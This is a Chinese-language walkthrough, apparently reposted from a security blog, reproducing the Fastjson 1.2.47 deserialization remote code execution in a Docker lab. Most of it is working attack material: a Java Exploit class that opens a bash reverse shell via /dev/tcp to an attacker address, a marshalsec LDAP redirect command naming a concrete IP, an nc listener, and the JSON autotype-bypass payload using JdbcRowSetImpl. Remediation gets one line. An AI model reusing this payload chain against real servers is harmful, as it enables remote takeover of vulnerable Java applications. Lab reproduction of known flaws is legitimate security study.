Fastjson<=1.2.47反序列化漏洞復現


0x01 簡介

fastjson 是阿里巴巴的開源JSON解析庫,它可以解析 JSON 格式的字符串,支持將 Java Bean 序列化為 JSON 字符串,也可以從 JSON 字符串反序列化到 JavaBean。

0x02 漏洞概述

首先,Fastjson提供了autotype功能,允許用戶在反序列化數據中通過“@type”指定反序列化的類型,其次,Fastjson自定義的反序列化機制時會調用指定類中的setter方法及部分getter方法,那么當組件開啟了autotype功能並且反序列化不可信數據時,攻擊者可以構造數據,使目標應用的代碼執行流程進入特定類的特定setter或者getter方法中,若指定類的指定方法中有可被惡意利用的邏輯(也就是通常所指的“Gadget”),則會造成一些嚴重的安全問題。並且在Fastjson 1.2.47及以下版本中,利用其緩存機制可實現對未開啟autotype功能的繞過。

0x03 影響版本

Fastjson1.2.47以及之前的版本

0x04 環境搭建

docker pull initidc/fastjson1.2.47_rce

tools

jdk8u181、marshalsec、Fastjson1.2.47

0x05 漏洞利用

1、編譯生成Exploit.class

首先將以下代碼保存為Exploit.java(反彈shell命令在代碼內,可自行調整)

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

然后編譯Exploit.java(javac Exploit.java)會生成一個Exploit.class文件
將編譯生成的Exploit.class文件放至web目錄下,即瀏覽器訪問會下載

2、開啟三個監聽窗口

第一個,使用python搭建一個臨時的web服務

python -m SimpleHTTPServer  8083

Ps:此步是為了接收LDAP服務重定向請求,需要在payload的目錄下開啟此web服務,這樣才可以訪問到payload文件
第二個,服務器使用marshalsec開啟LDAP服務監聽:

[root@master heixiuheixiu]# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://39.105.143.130:8083/#Exploit 9999
Listening on 0.0.0.0:9999

Ps:使用marshalsec工具快捷的開啟LDAP服務,借助LDAP服務將LDAP reference result 重定向到web服務器

第三個,nc監聽

nc -lvp 1888

Ps:這是最終得到shell的窗口

訪問fastjson頁面Burp發包,改為POST請求,使用EXP

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "x":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://ip:9999/Exploit",
        "autoCommit":true
    }
 
}

發送后可以看到第三個窗口成功得到shell

0x06 修復方式

升級到最新版本!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM